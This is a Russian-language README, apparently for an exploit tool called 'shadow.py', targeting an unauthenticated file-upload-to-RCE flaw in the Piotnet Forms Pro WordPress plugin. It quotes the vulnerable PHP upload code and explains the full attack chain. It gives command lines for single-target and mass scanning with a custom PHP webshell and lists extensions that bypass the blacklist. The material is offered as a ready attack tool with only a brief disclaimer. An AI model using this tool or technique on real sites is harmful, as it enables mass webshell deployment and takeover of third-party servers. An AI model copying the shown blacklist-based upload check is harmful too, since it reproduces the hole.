
Piotnet Forms Pro <= 2.1.40 - Неаутентифицированная произвольная загрузка файлов → RCE
Уязвимость возникает из-за недостаточной проверки типов файлов в функции piotnetforms_ajax_form_builder. Плагин использует неполный черный список расширений, блокирующий только php, phpt, php5, php7 и exe, но допускающий опасные альтернативы, такие как .phtml или .phar.
Обработчик AJAX зарегистрирован без каких-либо требований аутентификации:
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
Проверка файлов полагается исключительно на неполный черный список расширений без проверки MIME-типа или магических байтов:
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht и т.д. проходят свободно
move_uploaded_file( $file['tmp_name'][$i], $new_file );
Каталог загрузки содержит только пустой index.html для предотвращения листинга каталогов — нет .htaccess для блокировки выполнения PHP. Загруженные файлы оказываются в общедоступном месте по адресу:
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
URL файла можно получить без аутентификации через AJAX-действие piotnetforms_export_form_submission (также nopriv), что завершает полную цепочку неаутентифицированного RCE.
Это та же ошибка copy-paste, присутствующая в CVE-2026-4885 — оба плагина используют идентичный уязвимый код обработки загрузки от одного разработчика.
Интерактивный режим:
python3 shadow.py
Одиночная цель:
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
Массовое сканирование:
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
Параметры CLI:
-u, --url - URL цели-f, --file - Файл с целями (по одной на строку)-s, --shell - Пользовательская PHP-оболочка (GIF89a добавляется автоматически)-t, --threads - Потоки параллельных запросов (по умолчанию: 5)-h, --help - Показать справкуpiotnetforms_export_form_submission (без аутентификации)shell.txt.php .phpt .php5 .php7 .exe
Расширения для обхода: .phtml .phar .shtml .php8
pip install httpx
Инструмент предназначен исключительно для авторизованного тестирования безопасности и образовательных целей. Несанкционированное тестирование систем запрещено.